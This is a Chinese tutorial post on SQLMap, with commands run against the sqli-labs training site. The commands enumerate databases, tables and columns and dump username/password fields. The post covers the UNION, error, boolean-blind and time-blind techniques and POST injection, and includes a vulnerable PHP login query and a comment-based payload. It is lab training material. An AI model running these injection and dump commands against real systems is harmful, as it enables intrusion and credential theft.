SQLMap自动化注入工具

工具介绍

SQLMap特点

  • Python开源项目
  • 全球最强大的SQL注入工具
  • 支持多种数据库和注入类型
  • 推荐在Linux/Kali环境使用

基础用法

1. 获取数据库名

bash 复制代码
sqlmap -u "http://sqlilabs.njhack.xyz/Less-1/index.php?id=1" --dbs

参数说明

  • -u:目标URL
  • --dbs:枚举所有数据库

2. 获取表名

bash 复制代码
sqlmap -u "http://sqlilabs.njhack.xyz/Less-1/index.php?id=1" -D security --tables

参数说明

  • -D security:指定数据库名
  • --tables:枚举表名

3. 获取列名

bash 复制代码
sqlmap -u "http://sqlilabs.njhack.xyz/Less-1/index.php?id=1" -D security -T users --columns

参数说明

  • -T users:指定表名
  • --columns:枚举列名

4. 导出数据

bash 复制代码
sqlmap -u "http://sqlilabs.njhack.xyz/Less-1/index.php?id=1" -D security -T users -C username,password --dump

参数说明

  • -C username,password:指定列名
  • --dump:导出数据

高级参数

完整命令格式

bash 复制代码
sqlmap -u [目标URL] --dbs --batch --threads 10 --technique U

参数详解

  • --batch:自动选择默认选项,无需手动确认
  • --threads 10:使用10个线程(加快扫描速度)
  • --technique U:指定注入技术类型

注入技术类型(TECHNIQUE)

U - UNION查询注入

最常用、最快速的注入方式

bash 复制代码
sqlmap -u [URL] --current-db --batch --threads 10 --technique U

特点

  • 需要能显示数据
  • 速度最快
  • 结果最直观

E - 报错注入(Error-based)

适用场景:无法找到显示位,但数据库错误会显示

bash 复制代码
sqlmap -u [URL] --current-db --batch --threads 10 --technique E

原理

  • 通过构造特殊语句触发数据库报错
  • 在报错信息中包含查询结果
  • 对应靶场Less-5

B - 布尔盲注(Boolean-based)

适用场景:页面只有"有内容"和"无内容"两种状态

bash 复制代码
sqlmap -u [URL] --current-db --batch --threads 10 --technique B

原理

  • 通过构造条件判断语句
  • 根据页面是否显示内容判断真假
  • 逐位猜解数据
  • 对应靶场Less-8

T - 时间盲注(Time-based)

适用场景:页面无任何显示差异

bash 复制代码
sqlmap -u [URL] --current-db --batch --threads 10 --technique T -v 3

原理

  • 利用SLEEP()等函数延迟响应
  • 通过响应时间判断条件真假
  • 最慢但最隐蔽的方式
  • -v 3:显示详细调试信息

速度对比

复制代码
U (最快) > E > B > T (最慢)

POST型注入

漏洞识别

靶场环境:Less-11

测试步骤

  1. 在登录表单输入:admin1
  2. 点击Submit提交
  3. 使用Burp Suite抓包
  4. 在用户名后添加'\测试

判断注入点

复制代码
username: admin1'
password: admin1

如果报错,说明存在注入。

后端代码推测

php 复制代码
<?php
$uname = $_POST['uname'];
$passwd = $_POST['passwd'];

$sql = "SELECT username, password FROM users 
        WHERE username='$uname' AND password='$passwd' 
        LIMIT 0,1";
?>

POST注入注释符 :使用#(井号)

测试Payload

复制代码
username: admin1'#
password: 任意值

SQLMap POST注入

基本语法

bash 复制代码
sqlmap -u [目标URL] --data "uname=admin1*&passwd=admin1&submit=Submit" --current-db --batch --threads 10 --technique U

关键参数

  • --data:POST数据
  • *:标记注入点(告诉SQLMap测试这个参数)

实战命令示例

UNION注入

bash 复制代码
sqlmap -u "http://sqlilabs.njhack.xyz/Less-11/" \
--data "uname=admin1*&passwd=admin1&submit=Submit" \
--current-db --batch --threads 10 --technique U

报错注入

bash 复制代码
sqlmap -u "http://sqlilabs.njhack.xyz/Less-11/" \
--data "uname=admin*&passwd=admin&submit=Submit" \
--current-db --batch --threads 10 --technique E

数据获取流程

  1. 抓取POST数据包
  2. 复制POST数据体(最后一行)
  3. 用双引号包裹
  4. 在注入点位置添加*
  5. 执行SQLMap命令
相关推荐
Java.熵减码农4 小时前
解决Linux修改环境变量后导致登录循环进不去系统的问题
linux·运维·服务器
明天好,会的4 小时前
分形生成实验(五):人机协同破局--30万token揭示Actix-web状态管理的微妙边界
运维·服务器·前端
OidEncoder4 小时前
从 “粗放清扫” 到 “毫米级作业”,编码器重塑环卫机器人新能力
人工智能·自动化·智慧城市
猫头虎4 小时前
如何在浏览器里体验 Windows在线模拟器:2026最新在线windows模拟器资源合集与技术揭秘
运维·网络·windows·系统架构·开源·运维开发·开源软件
C_心欲无痕5 小时前
nginx - alias 和 root 的区别详解
运维·前端·nginx
HIT_Weston5 小时前
95、【Ubuntu】【Hugo】搭建私人博客:_default&partials
linux·运维·ubuntu
实心儿儿6 小时前
Linux —— 基础开发工具5
linux·运维·算法
oMcLin6 小时前
如何在SUSE Linux Enterprise Server 15 SP4上通过配置并优化ZFS存储池,提升文件存储与数据备份的效率?
java·linux·运维
SelectDB7 小时前
驾驭 CPU 与编译器:Apache Doris 实现极致性能的底层逻辑
运维·数据库·apache
❀͜͡傀儡师7 小时前
docker部署Arcane容器可视化管理平台
运维·docker·容器